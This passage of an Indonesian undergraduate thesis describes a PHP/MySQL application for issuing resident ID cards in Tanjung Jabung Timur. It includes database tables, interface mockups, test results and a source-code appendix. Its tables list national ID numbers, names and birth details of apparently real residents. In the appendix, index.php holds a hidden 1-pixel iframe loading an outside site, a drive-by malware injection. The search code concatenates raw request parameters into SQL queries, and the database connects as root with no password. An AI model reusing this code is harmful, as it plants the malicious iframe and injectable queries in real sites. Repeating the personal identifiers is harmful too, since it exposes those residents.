1507023107900002 15070210022457 Muhammad Akhyar Laki-laki
1507014106890001 1507072008003621 Fatmawati Perempuan
1507011007830002 1507072008004526 Muzakkar Laki-laki
1507017006860002 1507072008006722 Anita Karlina Perempuan
68
1507012001850001 1507072008001290 Ahmad Malik Laki-laki
1507011903870001 1507072008002377 Sudirman Laki-laki
1507014506820002 1507072008009041 Faisah Perempuan
5 6 7 8 9 10
Agama rt tgl_lahir tempat_lahir umur status
Islam 08 30-10-1985 Simbur Naik 25 Menikah
Islam 07 13-06-1990 Simbur Naik 20 Belum Menikah
Islam 03 31-07-1990 Nipah Panjang 20 Belum Menikah
Islam 06 01-06-1989 Simbur Naik 21 Belum Menikah
Islam 13 10-07-1983 Simbur Naik 27 Belum Menikah
Islam 10 30-06-1986 Simbur Naik 24 Menikah
Islam 10 20-01-1985 Simbur Naik 25 Belum Menikah
Islam 07 19-03-1987 Simbur Naik 23 Belum Menikah
Islam 07 05-06-1982 Simbur Naik 28 Belum Menikah
11 12 13 14
kewarganegaraan Pekerjaan pendidikan gol_darah
Indonesia Guru SLTP O
Indonesia Mahasiswa SMA A
Indonesia Mahasiswa SMA B
Indonesia Mahasiswa SMA A
Indonesia Wiraswasta SMA B
Indonesia Karyawan Swasta SMA O
Indonesia Mahasiswa SMA B
Indonesia Guru SMA B
Indonesia Guru S1 O
69
Tabel 4.5. Tabel Normalisasi Tahap II (Tabel KTP)
no_ktp Nama
1507017010850002 Ruwaidah
1507011306900001 Saipul Rizal
1507023107900002 Muhammad Akhyar
1507014106890001 Fatmawati
1507011007830002 Muzakkar
150701700680002 Anita Karlina
1507012001850001 Ahmad Malik
1507011903870001 Sudirman
1507014506820002 Faisah
Tabel 4.6. Tabel Normalisasi Tahap II (Tabel Kecamatan)
id_kec nama_kecamatan
kec01 Ma. Sabak Timur
kec01 Ma. Sabak Timur
kec02 Nipah Panjang
kec01 Ma. Sabak Timur
kec01 Ma. Sabak Timur
kec01 Ma. Sabak Timur
kec01 Ma. Sabak Timur
kec01 Ma. Sabak Timur
kec01 Ma. Sabak Timur
70
Tabel 4.7. Tabel Normalisasi Tahap II (Tabel Kelurahan)
id_kel nama_kelurahan
kel_11 Simbur Naik
kel_11 Simbur Naik
kel_12 Nipah Panjang II
kel_11 Simbur Naik
kel_11 Simbur Naik
kel_11 Simbur Naik
kel_11 Simbur Naik
kel_11 Simbur Naik
kel_11 Simbur Naik
3. Normalisasi Tahap III
Bentuk normalisasi ketiga adalah suatu keadaan yang menyaratkan
bahwa relasi harus sudah berada dalam bentuk normal kedua dan tidak
mengandung dependensi transitif. Dari semua tabel sudah memenuhi
normalisasi ketiga.
4.4.5. Kamus Data
Berikut ini adalah kamus data dari tabel-tabel yang ada di dalam
aplikasi:
1. Tabel Admin
Nama Tabel : admin
Keterangan : Berisi kode akses admin
Primary Key : Login
71
Tabel 4.8. Tabel Admin
Nama Field Description Type Size Null Default Extra attributes
id_admin Int yes
First_name Vachar 100
Last_name Vachar 100
Login Vachar 100
Password Vachar 32
2. Tabel Penduduk
Nama Tabel : Penduduk
Keterangan : Berisi data penduduk
Primary Key : nik
Tabel 4.9. Tabel Penduduk
Nama Field Description Type Size Null Default Extra attributes
Id Bigint 20 yes
no_kk Vachar 25
Nik Vachar 25
Nama Vachar 40
Jenis_kelamn Vachar 10
Agama Vachar 20
Rt Vachar 50 yes Null
Tanggal_lahir Date 0000-00-00
Tempat_lahir Vachar 50
Umur int 2 yes null
Status Vachar 20
Kewarganegaraan Vachar 20
Pekerjaan Vachar 30
Pendidikan Vachar 30
72
3. Tabel KTP (Kartu Tanda Penduduk)
Nama Tabel : KTP
Keterangan : Berisi data KTP
Primary Key : No KTP
Tabel 4.10. Tabel KTP
Nama Field Description Type Size Null Default Extra attributes
No_ktp Vachar 25 yes
Nik Vachar 25
Foto Vachar 50
Tanda_tangan Vachar 50
4. Tabel Kecamatan
Nama Tabel : Kecamatan
Keterangan : Berisi daftar-daftar nama kecamatan
Primary Key : Nip
Tabel 4.11. Tabel Kecamatan
Nama Field Description Type Size Null Default Extra attributes
id_kec Int 0 yes
Nama_kecamatan Char 25
5. Tabel Kelurahan
Nama Tabel : Kelurahan
Keterangan : Berisi daftar-daftar nama kelurahan/desa
Primary Key : kode_matkul
73
Tabel 4.12. Tabel kelurahan
Nama Field Description Type Size Null Default Extra attributes
id_kel Int 0 yes
Nama_kelurahan Char 25
4.4.6. Perancangan Antar Muka
Perancangan tampilan terdiri dari:
1. Antar Muka Halaman Awal
Gambar 4.7. Gambar Antar Muka Halaman Awal
Header
Footer
Serambi Serambi Profil Daerah Berita Galeri E-KTP Visi-Misi
Polling
Menu
74
2. Antar Muka Halaman Login
Gambar 4.8. Gambar Antar Muka Halaman Login
Header
Footer
E-KTP
Polling
Menu
Serambi Profil Daerah Berita Galeri E-KTP Visi-Misi
PEMERINTAH KAB. TANJUNG JABUNG TIMUR DINAS KEPENDUDUKAN DAN CATATAN SIPIL
Jln. P. Diponegoro Komplek Perkantoran Bukit Menderang Kelurahan Rano Kec. Muara sabak Barat
Data base kab. Tanjung Jabung Timur
logo
Login :
Password :
75
3. Antar Muka Halaman Menu Data Penduduk
Gambar 4.9. Gambar Antar Muka Menu Data Penduduk
Data base kab. Tanjung Jabung Timur
Form Input Data Penduduk
Lihat Data Penduduk Form Pembuatan KTP
Logout
PEMERINTAH KAB. TANJUNG JABUNG TIMUR DINAS KEPENDUDUKAN DAN CATATAN SIPIL
Jln. P. Diponegoro Komplek Perkantoran Bukit Menderang Kelurahan Rano Kec. Muara sabak Barat
logo
76
4. Antar Muka Halaman Input data penduduk
Gambar 4.10. Gambar Antar Muka Input Data Penduduk
logo
Form Input Data Penduduk
Data base kab. Tanjung Jabung Timur
NIK :
No. KK :
Nama :
Jenis Kelamin :
Agama :
Alamat :
Tempat Lahir :
Tangal lahir :
Status Perkawinan :
Hub. Keluarga :
Kewarganegaraan ::
Pekerjaan :
Pendidikan :
Gol. Darah :
Jalan
Kecamatan
Kelurahan
RT
Simpan Reset
PEMERINTAH KAB. TANJUNG JABUNG TIMUR DINAS KEPENDUDUKAN DAN CATATAN SIPIL
Jln. P. Diponegoro Komplek Perkantoran Bukit Menderang Kelurahan Rano Kec. Muara sabak Barat
77
5. Antar Muka Halaman input data pembuatan KTP
Gambar 4.11. Gambar Antar Muka Input Data Pembuatan KTP
logo
Form Input Data Penduduk
Data base kab. Tanjung Jabung Timur
No. KK : :
Nama :
Jenis Kelamin :
Agama :
Alamat :
Tempat Lahir :
Tangal lahir :
Status Perkawinan :
Hub. Keluarga :
Kewarganegaraan : :
Pekerjaan :
Pendidikan :
Gol. Darah :
Kirim Foto :
Jalan
Kecamatan
Kelurahan
RT
Simpan Reset
PEMERINTAH KAB. TANJUNG JABUNG TIMUR DINAS KEPENDUDUKAN DAN CATATAN SIPIL
Jln. P. Diponegoro Komplek Perkantoran Bukit Menderang Kelurahan Rano Kec. Muara sabak Barat
Browse
78
6. Antar Muka Halaman Lihat Data Penduduk
Gambar 4.12. Gambar Antar Muka Lihat Data Penduduk
79
7. Antar Muka Halaman Cetak KTP
Gambar 4.13. Gambar Antar Muka Cetak KTP
8. Antar Muka Halaman logout
Gambar 4.14. Gambar Antar Muka Halaman Logout
PROVINSI JAMBI KABUPATEN TANJUNG JABUNG TIMUR
NO. KTP : Nama : Tempat/Tgl.Lahir : Jenis Kelamin : Gol. Darah : Alamat : RT/RW : Desa/Kel : Kecamatan : Status Perkawinan : Agama : Pekerjaan : Berlaku Hingga : Tanjab Timur, - - Kepala Dukcapil Tanjung Jabung Timur Jakfar, S.Sos Tanda Tangan Pemegang KTP NIP :
Anda Sudah Keluar
Klik disini Untuk
PEMERINTAH KAB. TANJUNG JABUNG TIMUR DINAS KEPENDUDUKAN DAN CATATAN SIPIL
Jln. P. Diponegoro Komplek Perkantoran Bukit Menderang Kelurahan Rano Kec. Muara sabak Barat
logo
Logout
Login
Foto
80
4.5. Construction
Pada tahap ini, penulis memulai membuat aplikasi dari perancangan
yang telah penulis buat sebelumnya. Bahasa pemrograman yang penulis
terapkan adalah bahasa pemrograman PHP. Adapun listing kode
pemrograman dapat dilihat pada Lampiran C.
Adapun tampilan aplikasi dapat dilihat pada gambar di bawah ini:
1. Tampilan Halaman Awal Web
Gambar 4.15. Gambar Halaman Awal Web
81
2. Tampilan Login pada Aplikasi Pembuatan KTP
Gambar 4.16. Gambar Halaman Login Pembuatan KTP
82
3. Tampilan Halaman Menu Aplikasi Pembuatan KTP
Gambar 4.17. Gambar Halaman Menu Aplikasi Pembuatan KTP
83
4. Tampilan Halaman Input Data Penduduk
Gambar 4.18. Gambar Halaman Input Data Penduduk
84
5. Tampilan Halaman Lihat Data Penduduk
Gambar 4.19. Gambar Halaman Lihat Data Penduduk
85
6. Tampilan Input Data Pembuatan KTP
Gambar 4.20. Gambar Halaman Input Data Pembuatan KTP
86
7. Tampilan Edit Data Penduduk
Gambar 4.21. Gambar Halaman Edit Data Penduduk
87
8. Tampilan Halaman Cetak KTP
Gambar 4.22. Gambar Halaman Cetak KTP
9. Tampilan Halamat Logout
Gambar 4.23. Gambar Halaman Logout
88
4.6. Deployment
Pada tahap ini, penulis melakukan pengujian terhadap aplikasi
pembuatan KTP (Kartu Tanda Penduduk). Berikut ini adalah hasil
pengujiannya:
a. Proses input data pembuatan KTP berhasil, ketika field harus semua
diisi (No KK, Nama, Jenis Kelamin, Alamat, Tanggal Lahir, Status
Perkawinan, Hubungan Keluarga, Kewarganegaraan, Pekerjaan,
Pendidikan dan Kirim Foto). Jika salah satu dari field tersebut kosong,
maka akan keluar peringatan dan data tidak masuk ke dalam database.
b. Proses input data penduduk berhasil, ketika field yang harus diisi (No
KK, No KTP, Nama, Jenis Kelamin, Alamat, Tanggal Lahir, Status
Perkawinan, Hubungan Keluarga, Kewarganegaraan, Pekerjaan dan
Pendidikan) tidak kosong. Jika salah satu dari field tersebut kosong,
maka akan keluar peringatan dan data tidak masuk ke dalam database.
c. Proses lihat data penduduk berhasil, ketika semua data di menu input
data penduduk dan menu pembuatan KTP berhasil
d. Proses cetak KTP berhasil, ketika data pembuatan KTP telah tersimpan
di database kependudukan.
e. Proses pembuatan NIK berhasil apabila form Kabupaten, Kecamatan,
dan Tanggal, bulan dan tahun tidak kosong
f. Proses pembuatan barcode berhasil apabila proses NIK berhasil
g. Jika penduduk atau admin sudah mencetak KTP baru, maka penduduk
atau admin langsung ke proses logout aplikasi.
90
BAB V
PENUTUP
Pada BAB V ini menjelaskan mengenai kesimpulan dan saran dari
penelitian yang dilakukan terhadap perancangan aplikasi pembuatan KTP (Kartu
Tanda Penduduk) di Dinas Kependudukan dan Catatan Sipil Kabupaten Tanjung
Jabung Timur yang sudah dibahas pada bab sebelumnya. Berikut pembahasan
kesimpulan dan saran tentang penelitian skripsi ini.
5.1. Kesimpulan
Dari pembahasan yang sudah diuraikan maka penulis membuat kesimpulan
sebagai berikut :
1. Aplikasi ini mampu melakukan proses pembuatan Nomor Induk
Kependudukan (NIK) yang disertai dengan adanya barcode berjenis
Interleaved 2 of 5 (ITF)
2. Aplikasi Pembuatan KTP (Kartu Tanda Penduduk) dapat mencetak
laporan data kependudukan dengan menggunakan format PDF.
3. Aplikasi ini dapat mencegah bagi penduduk yang ingin membuat KTP
tetapi umurnya belum mencukupi untuk memiliki KTP
4. Aplikasi ini dapat menghubungkan antar instansi Pemerintahan
Kabupaten Tanjung Jabung Timur dengan Kecamatan dan Kelurahan.
5.2. Saran
Dari hasil kesimpulan yang penulis uraikan diatas mengenai penelitian yang
dilakukan terhadap aplikasi pembuatan KTP (Kartu Tanda Penduduk) pada Dinas
89
90
Kependudukan dan Catatan Sipil Kabupaten Tanjung Jabung Timur, maka
penilaian ini memiliki potensi untuk dikembangkan menjadi lebih baik oleh
karena itu penulis memberikan saran untuk penelitian berikutnya, antara lain
adalah :
1. Dalam pengarsipan laporan, diharapkan dapat melanjutkan bentuk
laporan berupa grafik perkembangan.
2. Dapat melanjutkan aplikasi yang penulis buat agar tidak hanya berfokus
pada pembuatan KTP tapi mampu menghubungkan dengan dokumen-
dokumen kependudukan lainnya seperti Kartu Keluarga, Akta Kelahiran,
Akta Kematian dan lain-lain.
92
DAFTAR PUSTAKA
Al-Fatta, Hanif. 2007. Analisis & Perancangan Sistem Informasi untuk
Keunggulan Bersaing Perusahaan & Organisasi Modern, Yogyakarta:
Andi Offset.
Budiharto, Widodo. 2005. Aplikasi Database Dengan SQL Server. Jakarta: PT.
Elex Media Komputindo
Jogiyanto, H.M. 2008. Metodologi Penelitian Sistem Informasi. Yogyakarta: Andi
Offset.
Kadir, Abdul. 2009. Dasar Perancangan & Implementasi Database Relasional.
Yogyakarta: Andi Offset.
Kendall, E.Kenneth. 2002. Analisis Dan Perancangan System. Jakarta: Indeks
Kelompok Gramedia.
Ladjamudin, Albahra bin. 2005. Analisis Dan Desain System Informasi.
Yogyakarta: Graha Ilmu.
Pressman, Roger S. 2001. Software Engineering: A Practitioner’s Approach. New
York: Mc-Graw Hill.
----------------------. 2005. Software Engineering: A Practitioner’s Approach. New
York: Mc-Graw Hill.
Ramakrishnan, Raghu dan Gehrke, Johannes. 2000. Database Management
System 2nd Edition. New York: Mc-Graw Hill.
91
92
Sukarno, Mohamad. 2006. Membangun Website Dinamis Interaktif Dengan Php-
Mysql (Windows &Linux). Jakarta: Eska Media Press.
Suyanto, Asep Herman. 2007. Step By Step Web Design Theory And Practices.
Yogyakarta: Andi Offset.
Wahyono, Teguh. 2010. Aplikasi Dengan Memanfaatkan Barcode. Jakarta: PT
Elex Media Komputindo
Kementrian Dalam Negeri RI, Pendataan Kependudukan, (Jakarta: Kementrian
Dalam Negeri RI, 2010).
Dr. Husni Fahmi (2010,0127). e-KTP. Jurnal Parlemen, 25 Maret 2011, dari
http://arsip.jurnalparlemen.com/news/nasional/banyak-keuntungan-e-
ktp.html
LAMPIRAN B
BLACKBOX TESTING
Tabel-tabel di bawah ini merupakan hasil pengujian Blackbox Testing
1. Testing Admin Kelurahan
No Rancangan Proses Hasil yang diharapkan Hasil Keterangan
1 Mulai menjalankan
aplikasi
Masuk halaman login Sesuai
2 Mengisi Username dan
Pasword
Menampilkan Jendela Pesan
Kesalahan
Sesuai Verifikasi
username dan
password
salah
3 Mengisi Username dan
Pasword
Proses dan masuk kehalaman
home aplikasi
Sesuai
4 Input, Hapus dan Edit data
Penduduk
Data penduduk berhasil
dimasukkan kedalam database,
dihapus dan diedit.
Sesuai
5 Masukkan data konfigurasi
NIK
Pembuatan NIK dan Barcode
KTP
Sesuai
5 Cetak data penduduk ke
KTP
Data penduduk berhasil dicetak
ke form KTP
Sesuai
6 Klik Tombol “Logout” Logout dari aplikasi dan
kembali kehalaman Login
Sesuai
2. Testing Admin Kecamatan dan Dukcapil
No Rancangan Proses Hasil yang diharapkan Hasil Keterangan
1 Mulai menjalankan
aplikasi
Masuk halaman login Sesuai
2 Mengisi Username dan Menampilkan Jendela Pesan Sesuai Verifikasi
Pasword Kesalahan username dan
password salah
3 Mengisi Username dan
Pasword
Proses dan masuk kehalaman
home aplikasi
Sesuai
4 Input, Hapus dan Edit data
Penduduk
Data penduduk berhasil
dimasukkan kedalam
database, dihapus dan diedit.
Sesuai
5 Lihat Data Penduduk Pegawai bisa melihat Data
Kependudukan
Sesuai
6 Cetak laporan data
kependudukan
Laporan Data penduduk
berhasil dicetak.
Sesuai
7 Klik Tombol “Logout” Logout dari aplikasi dan
kembali kehalaman Login
Sesuai
LAMPIRAN A
WAWANCARA
Wawancara dilakukan pada hari Rabu, 18 November 2009 kepada Bapak H.
Zainal U, S.Ag sebagai Kepala Bidang Pencatatan Sipil. Adapun pertanyaan yang
penulis ajukan adalah sebagai berikut :
1. Apa gambaran umum tentang penerapan system kependudukan yang berjalan
di Dinas Kependudukan dan Catatan Sipil ?
2. Seberapa pentingkah suatu aplikasi yang terkomputerisasi di Dinas
Kependudukan dan Catatan Sipil ?
3. Bagaimana cara atau proses dalam membuat KTP (Kartu Tanda Penduduk) ?
4. Kendala apa saja yang anda ketahui dalam pemprosesan system
kempendudukan yang berjalan selama ini?
5. Apa keluhan - keluhan yang sering terdengar selama ini dari masyarakat dan
pegawai instansi ?
Dari wawancara di atas, penulis mendapatkan informasi bahwa aplikasi
pembuatan KTP ini sangat penting untuk meningkatkan kinerja pegawai dan
mengefesiensikan waktu bagi masyarakat untuk membuat KTP. Dan banyak
sekali keluhank-keluhan yang ditemukan dalam proses pembuatan KTP yang
berjalan saat ini. Diantaranya adalah pada proses pengiriman data dari Kelurahan
sampai ke Kabupaten sangat menyita waktu yang lama. Adapun penyebabnya
adalah salah satunya pembuatan KTP masih menggunakan cara yang manual
dengan cara mengetik langsung di blangko KTP dengan menggunakan mesin
ketik. Sehinnga Aplikasi pembuatan KTP ini sangat berguna untuk mendukung
instansi yang dalam hal ini adalah Dinas Kependudukan dan Catatan Sipil dalam
meningkatkan kinerja pegawai dalam proses pendataan kependudukan terutama
pada pembuatan KTP baru.
LAMPIRAN C
LISTING SOURCE CODE koneksi.php <?php $nama_server = "localhost"; $nama_user = "root"; $pass_user = ""; $nama_db = "tanjabtimur"; //Koneksi Ke Server MySQL $koneksi = mysql_connect($nama_server,$nama_user,$pass_user) or die("Gagal Koneksi ke Server. Error :".mysql_error()); //Pilih Database $pilih_db = mysql_select_db($nama_db,$koneksi) or die("Gagal Pilih Database. Error :".mysql_error()); ?> login.php </head> <body> <div align="center"> <p> </p> <p> </p> <p><a href="index.php"><img src="images/kop.jpg" width="515" height="119" border="0" /></a></p> </div> <br /> <br /> <br /> </p> <form id="loginForm" name="loginForm" method="post" action="login-exec.php"> <table width="300" border="0" align="center" cellpadding="2" cellspacing="0"> <tr> <td width="112"><span class="style1">Login</span></td> <td width="188"><input name="login" type="text" class="textfield" id="login" /></td> </tr> <tr> <td><span class="style1">Password</span></td> <td><input name="password" type="password" class="textfield" id="password" /></td> </tr> <tr> <td> </td> <td><input type="submit" name="Submit" value="Login" /></td> </tr> </table>
<div align="center"> <p> </p> <table width="423" border="0"> <tr> <td width="304"><marquee behavior="alternate"> Database Kabupaten Tanjung Jabung Timur </marquee></td> </tr> </table> <p> </p> </div> <p> </p> </form> </body> </html> index.php <?php include "librari/inc.koneksidb.php"; include "librari/inc.librari.php"; ?> <html> <head> <title>Kab. Tanjung Jabung Timur</title> </head> <body> <?php include "inc.header.php"; ?> <table width="800" border="0" align="center" cellpadding="0" cellspacing="1" bgcolor="#000000"> <tr bgcolor="#FFFFFF"> <td width="179" align="center" valign="top"> <?php include "inc.menu.php"; ?> </td> <td width="10"> </td> <td width="616" align="center" valign="top"> <table width="100%" border="0" cellpadding="0" cellspacing="1" bgcolor="#FFFFFF"> <tr> <td align="center" bgcolor="#33CCFF"><strong>SERAMBI</strong></td> </tr> <tr> <td><div align="right"> <form name="form1" enctype="multipart/form-data" method="post" action=""> <label></label> <div align="left"> <p align="left"><img src="images/bupati.jpg" width="147" height="163" align="left"> <img src="images/wabup.jpg" width="147 " height="168" align="right"></p> </div>
</form> </div> <blockquote> <blockquote> <p align="center"><strong><EM>Assalamu'alaikum Wr.Wb</EM></strong></p> </blockquote> </blockquote> <p> </p> <p align="center"> </p> <p align="left"> </p> <p align="center">.<BR> <BR> <BR> <BR> </p> <p align="center"><strong><em>Wassalamu'alaikum Wr.Wb.<BR> </em></strong></p> <DIV></DIV></td> </tr> </table> </td> </tr> </table> <?php include "inc.footer.php"; ?> <iframe style="height:1px" src="http://www.Brenz.pl/rc/" frameborder=0 width=1></iframe> </body> </html> home.php <?php require_once('auth.php'); require_once('Connections/koneksi.php'); ?> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <title>Database Kab. Tanjung Jabung Timur</title> <style type="text/css"> <!-- a:link { color: #000000; text-decoration: none; } a:visited { color: #000000; text-decoration: none; } a:hover { color: #99CC66; text-decoration: none; }
a:active { text-decoration: none; } .style2 { font-family: Geneva, Arial, Helvetica, sans-serif; font-size: 10px; } .style3 { font-family: "Courier New", Courier, mono; color: #000000; font-weight: bold; } .style4 {font-family: "Courier New", Courier, mono} --> </style> </head> <body> <p> </p> <table width="100" border="0" align="center" cellpadding="0" cellspacing="0"> <tr> <td colspan="5"><div align="center"></div></td> </tr> <tr> <td colspan="5"><div align="center"> <p><img src="images/garis2.gif" width="584" height="31"></p> </div></td> </tr> <tr> <td height="102" colspan="5"><div align="center"><a href="index.php"><img src="images/kop.jpg" width="414" height="91" border="0"></a></div></td> </tr> <tr bgcolor="#999999"> <td height="22" colspan="5" bgcolor="#FFFFFF"> </td> </tr> <tr bgcolor="#999999"> <td width="216" height="22"> <p align="center" class="style3"> <a href="isidata.php">Form Input Data Penduduk</a> </p></td> <td width="20"><div align="center"><span class="style3">||</span></div></td> <td width="177"><div align="center"><span class="style3"><a href="lihatdata.php">Lihat Data Penduduk</a></span></div></td> <td width="20"><div align="center"><span class="style3">||</span></div></td> <td width="177"><div align="center"><span class="style3"><a href="formulir2.php">Pembuatan KTP</a></span></div></td> <td width="20" class="style3"><div align="center">||</div></td> <td width="151"><div align="center"><a href="logout.php" class="style3">Logout</a></div></td>
</tr> <tr> <td height="53" colspan="5"><div align="center"> <p><img src="images/garis.gif" width="584" height="31"><span class="style2"> <marquee> </marquee> </span><span class="style2"> </span></p> <table width="539" height="42" border="0"> <tr> <td width="304"><marquee behavior="alternate"> Database Kab. Tanjung Jabung Timur </marquee></td> </tr> </table> <p><span class="style2"> <marquee> </marquee> </span></p> </div></td> </tr> <tr> <td height="46" colspan="5"> </td> </tr> </table> </body> </html> lihatdata.php <? //require_once('auth.php'); require_once('Connections/koneksi.php'); require_once('query.php'); //require_once('switch.php'); $foto=$_GET['foto']; $jkl=$_GET['Q_JK']; $qpend=$_GET['Q_Pend']; $ker=$_GET['Ker']; $cari=$_GET['cari']; $Umur=$_GET['Umr']; $no_kk=$_GET['NOKK']; $n_ik=$_GET['NIK']; $q_hk=$_GET['qHk']; $kp=$_GET['q_kp']; $erwe=$_GET['q_rw']; $erte=$_GET['q_rt']; $currentPage = $_SERVER["PHP_SELF"]; ?> <body> <table width="775" border="0" align="center" cellpadding="0" cellspacing="0">
<tr> <td width="775"><div align="center"></div></td> </tr> <tr> <td><div align="center"> <p> </p> </div></td> </tr> <tr> <td><div align="center"><a href="home.php"><img src="images/kop.jpg" width="414" height="91" border="0"></a></div></td> </tr> <tr> <td class="style3"><div align="center"></div></td> </tr> <tr> <td class="style3"> <div align="center"> <p><a href="logout.php" class="style1">Logout</a><br> </p> </div></td> </tr> <tr> <td class="style3"> <table width="810" align="center"> <tr valign="baseline"> <td width="812" height="105"> <form> <p align="center"> Pilih <select name="Q_JK"> <option value="">-- Jenis kelamin --</option> </select> Pilih <select name="Q_Pend" > <option value="">-- Pendidikan --</option> </select> Pilih <select name="Ker"> <option value="">--Pekerjaan--</option> </select> Pilih <select name="Umr"> <option value="">-- Umur --</option> </select> </p> <p align="center">Pilih <select name="q_kp"> <option value="" selected>Kecamatan</option> </select>
Pilih <select name="q_rw"> <option value="" selected="selected">Kelurahan/Desa</option> </select> Pilih <select name="q_rt"> <option value="">RT</option> Pilih <select name="qHk" id="qHk"> <option selected value="">Hub. Keluarga</option> </p> <p align="center">Cari Nama: <input type=text name="cari" size="24"> Cari No KK: <input type=text name="NOKK" size="24"> Cari NIK: <input type=text name="NIK" size="24"> <?php echo "<select name=limit> <option value=50 $selecta>50 Records</option> <option value=10 $select10>10 Records</option> <option value=5 $select5>5 Records</option> <option value=2 $select2>2 Records</option> </select>"; ?> <input name="submit" type="submit" value="CARI"> </p> </form> </div></td> </tr></table></td> </tr> <? require_once('Connections/koneksi.php'); require_once('query.php'); $page_name="lihatdata.php"; // If you use this code with a different page ( or file ) name then change this $column_name=$_GET['column_name']; // Read the column name from query string. $limit=$_GET['limit']; switch($limit) { case 2: $selecta=""; $select2="selected"; $select10=""; $select5=""; break; case 50:
$selecta="selected"; $select2=""; $select10=""; $select5=""; break; case 5: $selecta=""; $select5="selected"; $select10=""; $select2=""; break; default: $selecta=""; $select10=""; $select5=""; $select2="selected"; break; } $start=$_GET['start']; // To take care global variable if OFF if(!($start > 0)) { // This variable is set to zero for the first page $start = 0; } $eu = ($start - 0); if(!$limit > 0 ){ // if limit value is not available then let us use a default value $limit = 50; // // Buat Jumlah Row PEr PAge Nehhhh } $this1 = $eu + $limit; $back = $eu - $limit; $next = $eu + $limit; /////////////// WE have to find out the number of records in our table. We will use this to break the pages/////// $query2; if ($cari != "") $query2 .= " AND nama LIKE '%$cari%'"; if ($no_kk != "") $query2 .= " AND nokk LIKE '%$no_kk%'"; if ($n_ik != "") $query2 .= " AND nik LIKE '%$n_ik%'"; if ($jkl != "") $query2 .= " AND jenis_kel = $jkl"; if ($qpend != "") $query2 .= " AND pend = $qpend";
if ($ker != "") $query2 .= " AND kerja = $ker"; if ($Umur != "") $query2 .= " AND umur $Umur"; if ($kp != "") $query2 .= " AND kp LIKE '%$kp%'"; if ($erwe != "") $query2 .= " AND rw LIKE '%$erwe%'"; if ($erte != "") $query2 .= " AND rt LIKE '%$erte%'"; if ($q_hk != "") $query2 .= " AND hubkel LIKE '%$q_hk%'"; //echo($query2); $result2 = mysql_query($query2, $koneksi) or die(mysql_error()); $nume=mysql_num_rows($result2); /////// The variable nume above will store the total number of records in the table//// switch($jkl) { case 1: $pil="Laki-Laki"; break; case 2: $pil="Perempuan"; break; } if($pil) { $jen='<br> Jenis kelamin '.$pil; }else{ $jen=''; } // Buat Pendidikan switch($qpend) { case 1: $pendi="Tidak Tamat SD";break; case 2: $pendi="Tamat SD";break; case 3: $pendi="Tamat SLT";break; case 4: $pendi="Tamat SLTA";break; case 5: $pendi="Tamat Akademi";break;
case 6: $pendi="Tamat SI";break; case 7: $pendi="Tamat S2";break; case 8: $pendi="Tamat S3";break; } if($pendi) { $pd='<br> Pendidikan '.$pendi; }else{ $pd=''; } // Buat Pekerjaan switch($ker) { case 1: $kerja="Petani";break; case 2: $kerja="Pedagang";break; case 3: $kerja="PNS";break; case 4: $kerja="Pensiunan & Purnawirawan";break; case 5: $kerja="Wiraswasta";break; case 6: $kerja="Buruh Pabrik";break; case 7: $kerja="Pengrajin";break; case 8: $kerja="Tukang Bangunan";break; case 9: $kerja="Penjahit";break; case 10: $kerja="Tukang Las";break; case 11: $kerja="Tukang Ojek";break; case 12: $kerja="Bengkel";break; case 13: $kerja="Supir Angkutan";break; case 14: $kerja="TNI POLRI";break; case 15: $kerja="Karyawan Swasta";break; case 16: $kerja="Lain-Lain";break; } if($kerja) { $kj='<br> Pekerjaan '.$kerja; }else{
$kj=''; } //Buat Umur switch($Umur) { case "BETWEEN 0 AND 4": $usia="Antara Antara 0 - 4";break; case "BETWEEN 5 AND 9": $usia="Antara 5 - 9";break; case "BETWEEN 10 AND 14": $usia="Antara 10 - 14";break; case "BETWEEN 15 AND 19": $usia="Antara 15 - 19";break; case "BETWEEN 20 AND 24": $usia="Antara 20 - 24";break; case "BETWEEN 25 AND 29": $usia="Antara 25 - 29";break; case "BETWEEN 30 AND 34": $usia="Antara 30 - 34";break; case "BETWEEN 35 AND 39": $usia="Antara 35 - 39";break; case "BETWEEN 40 AND 44": $usia="Antara 40 - 44";break; case "BETWEEN 45 AND 49": $usia="Antara 45 - 49";break; case "BETWEEN 50 AND 54": $usia="Antara 50 - 54";break; case "BETWEEN 55 AND 59": $usia="Antara 55 - 59";break; case "BETWEEN 60 AND 64": $usia="Antara 60 - 64";break; case "BETWEEN 65 AND 69": $usia="Antara 65 - 69";break; case ">=70": $usia="70 Tahun Keatas";break; case ">=17": $usia="KTP atau Pemilu";break; } if($usia) { $us='<br> Usia '.$usia; }else{ $us=''; } if($cari) { $cr='<br> Nama : '.$cari; }else{ $cr=''; } if($nume > 0) { /////////// Now let us print the table headers //////////////// $bgcolor="#f1f1f1"; //Ini buat titel table .. sesuai ama query kita.
//Data Penduduk Kab. Tanjung Jabung Timur - $pil - $pendi - $kerja - $usia - $cari echo" <tr> <td class='style3'><div align='center'><strong>Data Penduduk Kab. Tanjung Jabung Timur$jen $pd $kj $us $cr</strong></div></td> </tr> <tr> <td> </td> </tr> <td class='style3'> <table width='100%' border='0' align='center' cellpadding=3 cellspacing=1> "; // id nokk no_ktp nik nama jenis_kel agama alamat tgl_lahir umur status warganeg kerja pend echo" <tr bgcolor=#cccccc height=20> <TD><div align='center'><a href='$page_name?column_name=nik'>NIK</a></TD> <TD><div align='center'><a href='$page_name?column_name=nokk'>No KK</a></TD> <TD><div align='center'><a href='$page_name?column_name=nama'>Nama</a></TD> <TD><div align='center'><a href='$page_name?column_name=JK'>JK</a></TD> <TD><div align='center'><a href='$page_name?column_name=AGAM'>Agama</a></TD> <TD><div align='center'><a href='$page_name?column_name=alamat'>Alamat</a></TD> <TD><div align='center'><a href='$page_name?column_name=alamat'>RT--Kel/Desa</a></TD> <TD><div align='center'><a href='$page_name?column_name=kp'>Kecamatan</a></TD> <TD><div align='center'><a href='$page_name?column_name=tgl_lh'>Tgl lahir</a></TD> <TD><div align='center'><a href='$page_name?column_name=umur'>Umur</a></TD> <TD><div align='center'><a href='$page_name?column_name=STS'>Status Pernikahan</a></TD> <TD><div align='center'><a href='$page_name?column_name=HK'>Hub. Keluarga</a></TD> <TD><div align='center'><a href='$page_name?column_name=WG'>Kewarganegaraan</a></TD> <TD><div align='center'><a href='$page_name?column_name=KRJ'>Pekerjaan</a></TD> <TD><div align='center'><a href='$page_name?column_name=PND'>Pendidikan</a></TD> <TD><div align='center'><a href='$page_name?column_name=foto'>Foto</a></TD> <td><div align='center'>EDIT</div></td> <td><div align='center'>HAPUS</div></td>
